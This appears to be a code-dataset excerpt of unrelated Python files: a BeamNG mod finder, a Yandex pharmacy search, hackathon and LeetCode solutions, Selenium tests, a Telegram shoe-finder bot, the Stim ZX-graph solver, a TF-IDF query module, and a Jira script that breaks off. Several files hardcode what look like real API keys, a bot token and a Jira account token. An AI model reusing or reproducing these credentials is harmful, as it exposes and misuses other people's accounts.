dirs = [d for d in listdir(beam_ng_dir) if path.isdir(path.join(beam_ng_dir, d))]\n vers = {}\n for dir in dirs:\n try:\n vers[float(dir)] = dir\n except ValueError as ex:\n pass #Non-number folder, don't care\n if not vers:\n raise Exception(f'Could not determine latest version')\n ver_key = max(vers.keys())\n return vers[ver_key]\n\n\ndef get_user_mod_dir(ver: str):\n return path.join(getenv('LOCALAPPDATA'), BEAMNG_USER_DIR_NAME, ver, BEAMNG_USER_MOD_DIR_NAME)\n\ndef get_files_sorted(ver: str):\n if not ver:\n ver = get_latest_ver()\n user_dir = get_user_mod_dir(ver)\n files = []\n for file in listdir(user_dir):\n file_path = path.join(user_dir, file)\n if isfile(file_path):\n _, ext = path.splitext(file_path)\n if ext.lower() == '.zip':\n files.append(file_path)\n \n sorted_files = sorted(files, key=lambda t: -stat(t).st_mtime)\n return sorted_files","repo_name":"jonpecar/automationBeamNgExportFix","sub_path":"automationBeamNgExportFix/get_files.py","file_name":"get_files.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"29053957531","text":"import math\nimport sys\nimport requests\n\n\ndef dist(cord1, cord2):\n dx = abs(cord1[0] - cord2[0]) * 111 * 1000 * math.cos(math.radians((cord1[1] + cord2[1]) / 2))\n dy = abs(cord1[1] - cord2[1]) * 111 * 1000\n return int((dx * dx + dy * dy) ** 0.5)\n\n\ndef get_ap(ll, k=1):\n ll_float = list(map(float, ll.split(',')))\n search_api_server = \"https://search-maps.yandex.ru/v1/\"\n api_key = \"920e2579-8aef-445d-a34d-ed523688c844\"\n search_params = {\n \"apikey\": api_key,\n \"text\": \"аптека\",\n \"lang\": \"ru_RU\",\n \"ll\": ll,\n \"type\": \"biz\",\n \"results\": 100\n }\n response = requests.get(search_api_server, params=search_params)\n if not response:\n print(\"Ошибка выполнения запроса:\")\n print(\"Http статус:\", response.status_code, \"(\", response.reason, \")\")\n sys.exit(1)\n else:\n json_response = response.json()\n list1 = []\n for organization in json_response[\"features\"]:\n org_name = organization[\"properties\"][\"CompanyMetaData\"][\"name\"]\n org_address = organization[\"properties\"][\"CompanyMetaData\"][\"address\"]\n org_point = organization[\"geometry\"][\"coordinates\"]\n if 'Hours' in organization['properties']['CompanyMetaData']:\n org_times = organization['properties']['CompanyMetaData']['Hours']['text']\n else:\n org_times = ''\n\n org_dist = dist(ll_float, org_point)\n list1.append((org_dist, org_name, org_address, org_point, org_times))\n\n return list(sorted(list1, key=lambda x: (x[0], x[1], x[2], x[3], x[4])))[:k]\n","repo_name":"daratovstyga/web_http","sub_path":"get_ap.py","file_name":"get_ap.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"38595704858","text":"# Eric K.\n# Meta Global Hackathon 2022\n\n# Imports\nfrom numba import jit\nimport numpy as np\n\n# Constants\ninf = float(\"inf\")\nwidth, height, floors = int(0), int(0), int(0)\n\n\n# Floyd wqarshall for a single floor of the graph\n@jit(nopython=True)\ndef floyd_warshall(graph):\n dist = graph\n for k in range(len(graph)):\n for i in range(len(graph)):\n for j in range(len(graph)):\n dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j])\n return dist\n\n\n# Print the distances on the same floor for the given x, y\ndef print_distance_field(dist, x, y):\n for h in range(width):\n for w in range(width):\n a = dist[y*width+x][h*width+w]\n if a == float(\"inf\"):\n a = \"##\"\n else:\n a = \"{:.0f}\".format(a).zfill(2)\n print(a, end=\",\")\n print()\n\n\n# Build the adjacency matrix for the graph\ndef build_matrix(lines, floors):\n adj = [[[inf for x in range(width*height)]\n for y in range(width*height)]\n for _ in range(floors)]\n adj = np.array(adj, dtype=np.float64)\n employees = [set() for _ in range(floors)]\n stairs = [(-1, -1) for _ in range(floors)]\n\n for floor in range(floors):\n for y in range(height):\n for x in range(width):\n if lines[y][x] == \".\" or lines[y][x] == \"s\"\\\n or lines[y][x] == \"o\":\n if y > 0 and\\\n (lines[y-1][x] == \".\" or lines[y-1][x] == \"s\"):\n adj[floor][y*width+x][(y-1)*width+x] = 1\n if y < height-1 and\\\n (lines[y+1][x] == \".\" or lines[y+1][x] == \"s\"):\n adj[floor][y*width+x][(y+1)*width+x] = 1\n if x > 0 and\\\n (lines[y][x-1] == \".\" or lines[y][x-1] == \"s\"):\n adj[floor][y*width+x][y*width+x-1] = 1\n if x < width-1 and\\\n (lines[y][x+1] == \".\" or lines[y][x+1] == \"s\"):\n adj[floor][y*width+x][y*width+x+1] = 1\n if lines[y][x] == \"s\":\n stairs[floor] = (x, y)\n if lines[y][x] == \"o\":\n employees[floor].add((x, y))\n lines = lines[height+1:]\n\n return (adj, employees, stairs)\n\n\n# Distance to a point on the same floor\ndef distance_to_point(distances, x1, y1, x2, y2, f):\n return distances[f][y1 * width + x1][y2 * width + x2]\n\n\ndef d_to_point_via_stairs(distances, stairs, x1, y1, x2, y2, f1, f2):\n \"\"\"Calculates the distance from one point to another, traversing floors\n\n If point A is on floor 0, and point B is on floor 1, then the distance\n is the distance from A to the stairs, plus the distance from the stairs\n to B.\n\n Args:\n distances: The floyd-warshall calculation per floor\n stairs: The stairs per floor\n x1, y1, f1: The coordinates of the first point. (f1 is floor)\n x2, y2, f2: The coordinates of the second point. (f2 is floor)\n \"\"\"\n\n # Same floor\n if f1 == f2:\n return distance_to_point(distances, x1, y1, x2, y2, f1)\n else:\n s1x, s1y = stairs[f1]\n s2x, s2y = stairs[f2]\n p1_to_s1 = distance_to_point(distances, x1, y1, s1x, s1y, f1)\n s2_to_p2 = distance_to_point(distances, s2x, s2y, x2, y2, f2)\n return p1_to_s1 + s2_to_p2\n # Output\n return 0\n\n\n# Minimum sum of distances to all employeed\ndef distance_to_employees(current_min, distances, employees, stairs, x, y, f):\n \"\"\"Calculates the distance to all employees from this point\n\n Args:\n current_min: The current minimum distance, for culling reasons\n distances: The floyd-warshall calculation per floor\n employees: The set of employees per floor\n x, y, f: The coordinated of the point to query. (f is floor)\n \"\"\"\n\n # Same floor\n current_sum = 0\n for floor in range(floors):\n for employee in employees[floor]:\n ex, ey = employee\n distance = d_to_point_via_stairs(distances,\n stairs, ex, ey,\n x, y, floor, f)\n current_sum += distance\n if current_sum > current_min:\n return inf\n\n # Output\n return current_sum\n\n\ndef main():\n # Input\n lines, ans_lines = [], []\n files = [\n \"mini_test.txt\",\n \"test_input.txt\",\n \"micro_kitchens_hard_input.txt\"]\n with open(files[2], \"r\") as f:\n for line in f:\n lines.append(line.rstrip())\n\n # Input Processing\n global width, height, floors\n width, height, floors = [int(x) for x in lines[0].split()]\n lines = lines[1:]\n for i in range(len(lines)):\n lines[i] = [x for x in lines[i].split()]\n adjacency, employees, stairs = build_matrix(lines, floors)\n\n print(\"Input processed.\\nCalculating distance fields:\")\n\n # Adjacency field for each floor\n distances = []\n for floor in range(floors):\n print(f\"Floor {floor + 1}/{floors}\")\n distances.append(floyd_warshall(adjacency[floor]))\n\n print(\"Done.\\nCalculating minimum distance:\")\n # Distance to employees\n min_distance = inf\n candidates = []\n for floor in range(floors):\n print(f\"Floor {floor + 1}/{floors}\")\n for y in range(height):\n print(f\"{y+1}/{height}\")\n for x in range(width):\n if (x, y) != stairs[floor] and (x, y) not in employees[floor]:\n distance = distance_to_employees(min_distance,\n distances, employees,\n stairs, x, y, floor)\n if distance < min_distance:\n min_distance = distance\n candidates = [(floor, x, y)]\n elif distance == min_distance:\n candidates.append((floor, x, y))\n print(\"=======\")\n print(min_distance)\n\n # Sort candidates lexographically\n candidates.sort(key=lambda x: (x[0], x[1], x[2]))\n\n # Print candidates on same line\n for candidate in candidates:\n # print(f\"({candidate[0]}, {candidate[1]}, {candidate[2]})\", end=\" \")\n ans_lines.append(f\"({candidate[0]}, {candidate[1]}, {candidate[2]})\")\n\n # Output\n with open(\"out.txt\", \"w\") as f:\n for line in ans_lines:\n f.write(line + \" \")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Nyveon/CC400X-competitive-programming","sub_path":"2022-2 - Meta Global Hackathon/Challenge 7/challenge7.py","file_name":"challenge7.py","file_ext":"py","file_size_in_byte":6548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"14987428453","text":"import pytest\nimport time\nfrom selenium import webdriver\nfrom PageObjectModules.LoginPage import Login\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.remote.webelement import WebElement\nfrom selenium.common.exceptions import InvalidSessionIdException\nfrom PageObjectModules.SplicePage import Splice\nimport random\n\nclass Test008_Splice:\n SpliceName = 'Splicez'\n Splicename = 'Spliceit'\n spliceName = 'splice10'\n\n def test_levelmenubar(self, user_login):\n self.driver = user_login\n self.sp = Splice(self.driver)\n self.sp.Project()\n self.sp.clickvariant()\n self.sp.clicksplice()\n\n element18 = ['Variant']\n data_base_ele18 = self.driver.find_elements(By.LINK_TEXT, \"Variant\")\n\n for idx, base_ele18 in enumerate(data_base_ele18):\n print(idx, base_ele18.text)\n assert base_ele18.text in element18\n\n element19 = ['Splice']\n data_base_ele19 = self.driver.find_elements(By.XPATH, \"//*[@id='pills-splice-tab']\")\n\n for idx, base_ele19 in enumerate(data_base_ele19):\n print(idx, base_ele19.text)\n assert base_ele19.text in element19\n\n def test_level3menubar(self, user_login):\n self.driver = user_login\n self.sp = Splice(self.driver)\n self.sp.Project()\n self.sp.clickvariant()\n self.sp.clicksplice()\n\n element20 = ['']\n data_base_ele20 = self.driver.find_elements(By.XPATH, \"//*[@id='pills-splice']/div[1]/div[1]/div[1]\")\n\n for idx, base_ele20 in enumerate(data_base_ele20):\n print(idx, base_ele20.text)\n assert base_ele20.text in element20\n\n @pytest.mark.sanity()\n def test_create_newsplice(self, user_login):\n self.driver = user_login\n self.sp = Splice(self.driver)\n self.sp.Project()\n self.sp.clickvariant()\n self.sp.clicksplice()\n self.sp.clicknewsplice()\n time.sleep(2)\n\n rand_splice_name = ''.join((random.choice('aeiourtsnlchp')for i in range(5)))\n\n self.driver.find_element(By.XPATH, \"//*[@id='spliceName']\").clear()\n self.driver.find_element(By.XPATH, \"//*[@id='spliceName']\").send_keys(rand_splice_name )\n\n self.sp.clicksavesplice()\n time.sleep(2)\n\n assert 'Data Added Successfully.' in self.driver.page_source\n\n def test_copysplice(self, user_login):\n self.driver = user_login\n self.sp = Splice(self.driver)\n self.sp.Project()\n self.sp.clickvariant()\n self.sp.clicksplice()\n self.sp.clickcheckmarksplice()\n self.sp.clickcopysplice()\n time.sleep(2)\n\n rand_copy_splicename = ''.join((random.choice('aeiournstlcp')for i in range(5)))\n\n time.sleep(1)\n self.driver.find_element(By.XPATH, \"//*[@id='txtNewSpliceName']\").clear()\n time.sleep(1)\n self.driver.find_element(By.XPATH, \"//*[@id='txtNewSpliceName']\").send_keys(rand_copy_splicename)\n\n self.sp.clickcopysave()\n time.sleep(2)\n\n assert 'Data Added Successfully.' in self.driver.page_source\n\n def test_edit_splice(self, user_login):\n self.driver = user_login\n self.sp = Splice(self.driver)\n self.sp.Project()\n self.sp.clickvariant()\n self.sp.clicksplice()\n self.sp.clickcheckmark3splice()\n self.sp.clickeditsplice()\n time.sleep(2)\n\n rand_edit_splice = ''.join((random.choice('aeiournstlcp')for i in range(5)))\n self.sp.seteditsplicename(rand_edit_splice)\n self.sp.clicksavesplice()\n time.sleep(2)\n assert 'Data Added Successfully.' in self.driver.page_source\n\n def test_deletesplice(self, user_login):\n self.driver = user_login\n self.sp = Splice(self.driver)\n self.sp.Project()\n self.driver.implicitly_wait(4)\n self.sp.clickvariant()\n self.sp.clicksplice()\n self.sp.clickcheckmark3splice()\n self.sp.clickdeletesplice()\n self.sp.clickpopupdeletesplice()\n time.sleep(2)\n\n assert 'Deleted Successfully.' in self.driver.page_source\n","repo_name":"raghuchKDT/ppt_test_automation","sub_path":"Testcases/PPT_Tests/test_09Splicepage.py","file_name":"test_09Splicepage.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"31622038568","text":"# @Time : 2022-10-17 12:27\n# @Author : Phalange\n# @File : 424. 替换后的最长重复字符.py\n# @Software: PyCharm\n# C'est la vie,enjoy it! :D\nimport collections\n\n\nclass Solution:\n def characterReplacement(self, s: str, k: int) -> int:\n\n mywindows = collections.defaultdict(int)\n mywindows[s[0]] = 1\n n = len(s)\n st = 0\n e = 0\n ans = 0\n elem = s[0]\n for i in range(1,n):\n if s[i] ==elem:\n mywindows[s[i]] +=1\n\n e +=1\n elif sum(mywindows.values()) - mywindows[elem] < k:\n mywindows[s[i]] +=1\n elem = s[i] if mywindows[s[i]] > mywindows[elem] else elem\n\n e +=1\n else:\n ans = max(ans,e-st+1)\n\n mywindows[s[i]] += 1 #先加进来,现在有K+1个不相等的\n e +=1\n for j in range(st,e):\n mywindows[s[j]] -=1\n if mywindows[s[j]] == 0 :\n mywindows.pop(s[j])\n st =j+1\n\n break\n elem = max(mywindows,key=mywindows.get)\n\n return max(ans,e-st+1)\ns = \"EQQEJDOBDPDPFPEIAQLQGDNIRDDGEHJIORMJPKGPLCPDFMIGHJNIIRSDSBRNJNROBALNSHCRFBASTLRMENCCIBJLGAITBFCSMPRO\"\n\nprint(Solution().characterReplacement(s,2))\n","repo_name":"enternityFan/LeetCodePythonVersion","sub_path":"TODO(未完成的残缺代码。。)/424. 替换后的最长重复字符.py","file_name":"424. 替换后的最长重复字符.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"70819582950","text":"import os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # suppress tensorflow logs\nfrom Updater import Updater\nfrom ShoeDetector import ShoeDetector\nfrom FeatureExtractor import FeatureExtractor\nimport config\nfrom Indexer import Indexer\nfrom Matcher import Matcher\nfrom QualityChecker import QualityChecker\nfrom FeatureExtractionException import FeatureExtractionException\n\n\ndef imageHandler(bot, message, chat_id, local_filename):\n\tbot.sendMessage(chat_id, \"Hi, I'm processing your request\")\n\tprint(\"Processing request...\")\n\tis_good_quality = QualityChecker.is_good_quality(Indexer.load_image(local_filename, im_size=config.QUALITYCHECKER_IMSIZE))\n\tif not is_good_quality:\n\t\tbot.sendMessage(chat_id, \"Your image is of a poor quality. Please, send me a better one\")\n\t\tprint(\"Message sent: image is of a poor quality.\")\n\telse:\n\t\tis_shoe = ShoeDetector.classify_image(Indexer.load_image(local_filename, im_size=config.CLASSIFIER_IM_SIZE))\n\t\tif not is_shoe:\n\t\t\tbot.sendMessage(chat_id, \"Ops! Something went wrong... Make sure your image contains a shoe\")\n\t\t\tprint(\"Message sent: the photo doesn't contain a shoe.\")\n\t\telse:\n\t\t\ttry:\n\t\t\t\tmost_similar = Matcher.get_most_similar(Indexer.load_image(local_filename))\n\t\t\t\tretrieved_images = Matcher.retrieve_items(most_similar)\n\t\t\t\tbot.sendMessage(chat_id, \"These are the most similar shoes I've found\")\n\t\t\t\tfor im in retrieved_images:\n\t\t\t\t\tbot.sendImage(chat_id, config.DATASET_PATH + im, \"\")\n\t\t\t\tprint(\"Most similar images sent.\")\n\t\t\texcept FeatureExtractionException:\n\t\t\t\tbot.sendMessage(chat_id, \"I couldn't process your photo. Please, send me a better one\")\n\t\t\t\tprint(\"Message sent: the photo can't be processed.\")\n\tprint(\"Request processed.\")\n\n\ndef init():\n\tbot_id = '1437569240:AAEd2sZ0faC1EwPvQGJPPW4xf7ohP1hTzV8'\n\tupdater = Updater(bot_id)\n\tupdater.setPhotoHandler(imageHandler)\n\n\tQualityChecker.init()\n\tShoeDetector.init()\n\tFeatureExtractor.init()\n\tdata_structure = Indexer.build_data_structure(config.DATASET_PATH)\n\tMatcher.init(data_structure)\n\n\tprint(\"Bot is running...\")\n\tupdater.start()\n\n\nif __name__ == \"__main__\":\n\tinit()\n","repo_name":"SimoneMottadelli/ShoeFinder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"7202428481","text":"from typing import Dict, Tuple, List, Any, Union\nimport stim\nimport networkx as nx\n\nfrom ._text_diagram_parsing import text_diagram_to_networkx_graph\nfrom ._external_stabilizer import ExternalStabilizer\n\n\nclass ZxType:\n \"\"\"Data describing a ZX node.\"\"\"\n\n def __init__(self, kind: str, quarter_turns: int = 0):\n self.kind = kind\n self.quarter_turns = quarter_turns\n\n def __eq__(self, other):\n if not isinstance(other, ZxType):\n return NotImplemented\n return self.kind == other.kind and self.quarter_turns == other.quarter_turns\n\n def __ne__(self, other):\n return not self == other\n\n def __hash__(self):\n return hash((ZxType, self.kind, self.quarter_turns))\n\n def __repr__(self):\n return f'ZxType(kind={self.kind!r}, quarter_turns={self.quarter_turns!r})'\n\n\nZX_TYPES = {\n \"X\": ZxType(\"X\"),\n \"X(pi/2)\": ZxType(\"X\", 1),\n \"X(pi)\": ZxType(\"X\", 2),\n \"X(-pi/2)\": ZxType(\"X\", 3),\n \"Z\": ZxType(\"Z\"),\n \"Z(pi/2)\": ZxType(\"Z\", 1),\n \"Z(pi)\": ZxType(\"Z\", 2),\n \"Z(-pi/2)\": ZxType(\"Z\", 3),\n \"H\": ZxType(\"H\"),\n \"in\": ZxType(\"in\"),\n \"out\": ZxType(\"out\"),\n}\n\n\ndef text_diagram_to_zx_graph(text_diagram: str) -> nx.MultiGraph:\n \"\"\"Converts an ASCII text diagram into a ZX graph (represented as a networkx MultiGraph).\n\n Supported node types:\n \"X\": X spider with angle set to 0.\n \"Z\": Z spider with angle set to 0.\n \"X(pi/2)\": X spider with angle set to pi/2.\n \"X(pi)\": X spider with angle set to pi.\n \"X(-pi/2)\": X spider with angle set to -pi/2.\n \"Z(pi/2)\": X spider with angle set to pi/2.\n \"Z(pi)\": X spider with angle set to pi.\n \"Z(-pi/2)\": X spider with angle set to -pi/2.\n \"H\": Hadamard node. Must have degree 2.\n \"in\": Input node. Must have degree 1.\n \"out\": Output node. Must have degree 1.\n\n Args:\n text_diagram: A text diagram containing ZX nodes (e.g. \"X(pi)\") and edges (e.g. \"------\") connecting them.\n\n Example:\n >>> import stimzx\n >>> import networkx\n >>> actual: networkx.MultiGraph = stimzx.text_diagram_to_zx_graph(r'''\n ... in----X------out\n ... |\n ... in---Z(pi)---out\n ... ''')\n >>> expected = networkx.MultiGraph()\n >>> expected.add_node(0, value=stimzx.ZxType(\"in\"))\n >>> expected.add_node(1, value=stimzx.ZxType(\"X\"))\n >>> expected.add_node(2, value=stimzx.ZxType(\"out\"))\n >>> expected.add_node(3, value=stimzx.ZxType(\"in\"))\n >>> expected.add_node(4, value=stimzx.ZxType(\"Z\", quarter_turns=2))\n >>> expected.add_node(5, value=stimzx.ZxType(\"out\"))\n >>> _ = expected.add_edge(0, 1)\n >>> _ = expected.add_edge(1, 2)\n >>> _ = expected.add_edge(1, 4)\n >>> _ = expected.add_edge(3, 4)\n >>> _ = expected.add_edge(4, 5)\n >>> networkx.utils.graphs_equal(actual, expected)\n True\n\n Returns:\n A networkx MultiGraph containing the nodes and edges from the diagram. Nodes are numbered 0, 1, 2, etc in\n reading ordering from the diagram, and have a \"value\" attribute of type `stimzx.ZxType`.\n \"\"\"\n return text_diagram_to_networkx_graph(text_diagram, value_func=ZX_TYPES.__getitem__)\n\n\ndef _reduced_zx_graph(graph: Union[nx.Graph, nx.MultiGraph]) -> nx.Graph:\n \"\"\"Return an equivalent graph without self edges or repeated edges.\"\"\"\n reduced_graph = nx.Graph()\n odd_parity_edges = set()\n for n1, n2 in graph.edges():\n if n1 == n2:\n continue\n odd_parity_edges ^= {frozenset([n1, n2])}\n for n, value in graph.nodes('value'):\n reduced_graph.add_node(n, value=value)\n for n1, n2 in odd_parity_edges:\n reduced_graph.add_edge(n1, n2)\n return reduced_graph\n\n\ndef zx_graph_to_external_stabilizers(graph: Union[nx.Graph, nx.MultiGraph]) -> List[ExternalStabilizer]:\n \"\"\"Computes the external stabilizers of a ZX graph; generators of Paulis that leave it unchanged including sign.\n\n Args:\n graph: A non-contradictory connected ZX graph with nodes annotated by 'type' and optionally by 'angle'.\n Allowed types are 'x', 'z', 'h', and 'out'.\n Allowed angles are multiples of `math.pi/2`. Only 'x' and 'z' node types can have angles.\n 'out' nodes must have degree 1.\n 'h' nodes must have degree 2.\n\n Returns:\n A list of canonicalized external stabilizer generators for the graph.\n \"\"\"\n\n graph = _reduced_zx_graph(graph)\n sim = stim.TableauSimulator()\n\n # Interpret each edge as a cup producing an EPR pair.\n # - The qubits of the EPR pair fly away from the center of the edge, towards their respective nodes.\n # - The qubit keyed by (a, b) is the qubit heading towards b from the edge between a and b.\n qubit_ids: Dict[Tuple[Any, Any], int] = {}\n for n1, n2 in graph.edges:\n qubit_ids[(n1, n2)] = len(qubit_ids)\n qubit_ids[(n2, n1)] = len(qubit_ids)\n sim.h(qubit_ids[(n1, n2)])\n sim.cnot(qubit_ids[(n1, n2)], qubit_ids[(n2, n1)])\n\n # Interpret each internal node as a family of post-selected parity measurements.\n for n, node_type in graph.nodes('value'):\n if node_type.kind in 'XZ':\n # Surround X type node with Hadamards so it can be handled as if it were Z type.\n if node_type.kind == 'X':\n for neighbor in graph.neighbors(n):\n sim.h(qubit_ids[(neighbor, n)])\n elif node_type.kind == 'H':\n # Hadamard one input so the H node can be handled as if it were Z type.\n neighbor, _ = graph.neighbors(n)\n sim.h(qubit_ids[(neighbor, n)])\n elif node_type.kind in ['out', 'in']:\n continue # Don't measure qubits leaving the system.\n else:\n raise ValueError(f\"Unknown node type {node_type!r}\")\n\n # Handle Z type node.\n # - Postselects the ZZ observable over each pair of incoming qubits.\n # - Postselects the (S**quarter_turns X S**-quarter_turns)XX..X observable over all incoming qubits.\n neighbors = [n2 for n2 in graph.neighbors(n) if n2 != n]\n center = qubit_ids[(neighbors[0], n)] # Pick one incoming qubit to be the common control for the others.\n # Handle node angle using a phasing operation.\n [id, sim.s, sim.z, sim.s_dag][node_type.quarter_turns](center)\n # Use multi-target CNOT and Hadamard to transform postselected observables into single-qubit Z observables.\n for n2 in neighbors[1:]:\n sim.cnot(center, qubit_ids[(n2, n)])\n sim.h(center)\n # Postselect the observables.\n for n2 in neighbors:\n _pseudo_postselect(sim, qubit_ids[(n2, n)])\n\n # Find output qubits.\n in_nodes = sorted(n for n, value in graph.nodes('value') if value.kind == 'in')\n out_nodes = sorted(n for n, value in graph.nodes('value') if value.kind == 'out')\n ext_nodes = in_nodes + out_nodes\n out_qubits = []\n for out in ext_nodes:\n (neighbor,) = graph.neighbors(out)\n out_qubits.append(qubit_ids[(neighbor, out)])\n\n # Remove qubits corresponding to non-external edges.\n for i, q in enumerate(out_qubits):\n sim.swap(q, len(qubit_ids) + i)\n for i, q in enumerate(out_qubits):\n sim.swap(i, len(qubit_ids) + i)\n sim.set_num_qubits(len(out_qubits))\n\n # Stabilizers of the simulator state are the external stabilizers of the graph.\n dual_stabilizers = sim.canonical_stabilizers()\n return ExternalStabilizer.canonicals_from_duals(dual_stabilizers, len(in_nodes))\n\n\ndef _pseudo_postselect(sim: stim.TableauSimulator, target: int):\n \"\"\"Pretend to postselect by using classical feedback to consistently get into the measurement-was-false state.\"\"\"\n measurement_result, kickback = sim.measure_kickback(target)\n if kickback is not None:\n for qubit, pauli in enumerate(kickback):\n feedback_op = [None, sim.cnot, sim.cy, sim.cz][pauli]\n if feedback_op is not None:\n feedback_op(stim.target_rec(-1), qubit)\n assert kickback is not None or not measurement_result, \"Impossible postselection. Graph contained a contradiction.\"\n","repo_name":"quantumlib/Stim","sub_path":"glue/zx/stimzx/_zx_graph_solver.py","file_name":"_zx_graph_solver.py","file_ext":"py","file_size_in_byte":8212,"program_lang":"python","lang":"en","doc_type":"code","stars":238,"dataset":"github-code","pt":"71"} +{"seq_id":"27066311144","text":"from collections import Counter\nimport csv\nimport re\nimport nltk\nfrom nltk.stem.snowball import EnglishStemmer\nimport string\nfrom nltk import TreebankWordTokenizer\nfrom xml.etree import ElementTree\nfrom numpy.linalg import linalg\nimport json\nimport math\n\n\ndef query_processing(text, weighted_dict):\n\n punct_set = set(string.punctuation)\n \n stopwords_path = \"Modules/data/stopwords.txt\"\n stopwords = set(line.strip() for line in open(stopwords_path))\n \n #Remove links\n text = re.sub(r\"http\\S+\", \"\", text)\n text = re.sub(r\"https\\S+\", \"\", text)\n text = re.sub(r\"www\\S+\", \"\", text)\n\n #Initialize words array\n words = []\n\n for i in TreebankWordTokenizer().tokenize(text):\n if i.lower() not in stopwords and i.lower() not in punct_set:\n try:\n words.append(EnglishStemmer().stem(i.lower()))\n except:\n words.append(i.lower())\n\n #Remove punctuation\n table = str.maketrans('', '', string.punctuation)\n tmp1 = words\n words = [w.translate(table) for w in tmp1]\n\n #Remove stopwords\n for x in words:\n if x in stopwords:\n words.remove(x)\n \n #Remove words that contain numbers\n tmp2 = []\n for x in range(len(words)):\n if bool(re.match(r'\\b[a-zA-Z]+\\b', words[x])):\n tmp2.append(words[x])\n words = tmp2\n\n #Remove (u\"\\u201d) from words\n tmp3 = []\n for x in words:\n tmp3.append(x.replace(u\"\\u201d\", \"\"))\n words = tmp3\n\n #Word counter\n word_counter = Counter(words)\n\n #Intialize both word and frequency vectors\n w_vect = []\n f_vect = []\n\n #Iterate through all words\n for word in words:\n \n w_vect.append(word)\n\n #calculate max_freq\n documents = weighted_dict.get(word,{})\n\n max_freq = 0\n for i in documents:\n if documents[i] > max_freq:\n max_freq = documents[i]\n\n if(max_freq > 0):\n #calculate inv_doc_freq\n doc_freq = len(documents)\n inv_doc_freq = math.log((float(len(weighted_dict)) / doc_freq), 2)\n\n for id in documents:\n\n #creates copy of documents[id]\n freq = documents[id]\n\n #calculate word_freq\n word_freq = float(freq) / max_freq\n\n #calculate weight value\n weight = inv_doc_freq * (0.5 + (0.5 * word_freq))\n\n #append calculated weight value to f_vect\n f_vect.append(weight)\n \n else:\n #append weight value as 0\n f_vect.append(0)\n\n #Return both (w_vect) and (f_vect)\n return (w_vect, f_vect)\n\n\n\ndef do_query(document_word_dict_path, frequency_dict_path, weighted_dict_path, queries_path):\n\n name = \"myRun\"\n\n ###################\n #LOADING FILES\n\n '''\n #NOT USED (KEEP JUST IN CASE)\n \n #document_word_dict\n document_word_dict = {}\n with open(document_word_dict_path, \"rb\") as file:\n document_word_dict = json.loads(file.read())\n\n #frequency_dict\n frequency_dict = {}\n with open(frequency_dict_path, \"rb\") as file:\n frequency_dict = json.loads(file.read())\n '''\n \n #weighted_dict\n weighted_dict = {}\n with open(weighted_dict_path, \"rb\") as file:\n weighted_dict = json.loads(file.read())\n \n ###################\n\n\n #Initialize xml tree\n t = ElementTree.parse(queries_path)\n\n #Create Results\n with open(\"Modules/data/results.txt\", 'w') as file:\n for q in t.getroot():\n\n #Sets Query ID\n #query_id = q[0].text[9:][:-1] #string value (MB001)\n query_id = q[0].text\n query_id = re.sub('[^0-9]','', query_id) #only digits remain\n query_id = query_id.lstrip('0') #removes zeros and strings\n\n #Query Processing\n w_vect, f_vect = query_processing(q[1].text, weighted_dict)\n\n\n #Create unique set of documents associated to each word in w_vect\n unique_set_of_documents = set()\n\n #iterate though w_vect for every word\n for word in w_vect:\n\n #iterate through keys in weighted_dict\n for d in weighted_dict.get(word,{}).keys():\n unique_set_of_documents.add(d)\n\n \n #Create vector frequency document for query\n document_vect = {}\n for doc_id in unique_set_of_documents:\n document_vect[doc_id] = []\n\n #Initialize counter to 0\n counter = 0\n\n #iterate though w_vect for every word\n for word in w_vect:\n\n #iterate through unique_set_of_documents\n for d in unique_set_of_documents:\n document_vect[d].insert(counter, weighted_dict.get(word,{}).get(d,0))\n\n #Add +1 to counter\n counter = counter + 1 #works better than ++counter (better results)\n\n\n #Create document ranking array for all documents\n document_ranking = []\n\n #Iterate though document_vect for every id\n for id in document_vect:\n\n #Calculate cos similarity value\n value = linalg.dot(document_vect[id], f_vect) / (linalg.norm(document_vect[id]) * linalg.norm(f_vect))\n\n #Append value and id to document_ranking\n document_ranking.append({\"id\":id, \"value\": value})\n\n #Sort documents by highest value first\n sorted_ranking = sorted(document_ranking, key=lambda d:d[\"value\"], reverse=True)\n\n #for every relevant document in query\n for d in range(len(sorted_ranking)):\n \n #Writes line info to txt file\n file.write(query_id + \" \" + \"Q0 \" + str(sorted_ranking[d].get(\"id\")) + \" \" + str(d + 1) + \" \" + str(sorted_ranking[d].get(\"value\")) + \" \" + name + \"\\n\")\n\n #stops for loop at 1000th document\n if d == 999:\n break\n \n\n\n\n\n\n\n\n","repo_name":"samuel-daly/CSI4107","sub_path":"A1/Modules/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":6022,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"71605085350","text":"from jira import JIRA\n\nUSERNAME='petyai1999@yandex.ru'\nTOKEN='ATATT3xFfGF0PrZMMwwxfX4d1s8U5U6jq-Tjs9g9x98y54eb0GbxViC94etAZu_k81rjQizccMMwy-rRA1X--52Qvr13KkAR5fqbBpM49flte-vC0DpLXricO54MK69_Z6cFzVU4qK7-KgVBsIhfUPoZu0wRugH-th-6FlYIFNIeVIEuVqKvIZ4=F61F876A'\n\njira_options = {'server': 'https://include1310.atlassian.net/'}\njira = JIRA(options=jira_options, basic_auth=(USERNAME, TOKEN))\njql = 'project = SCRUM ORDER BY Rank ASC'\nresult_issues = jira.search_issues(jql_str=jql, maxResults=100)\nfor issue_list in result_issues:\n print(issue_list.fields.reporter)\n\n#\nissue_dict = {\n 'project': {'key': 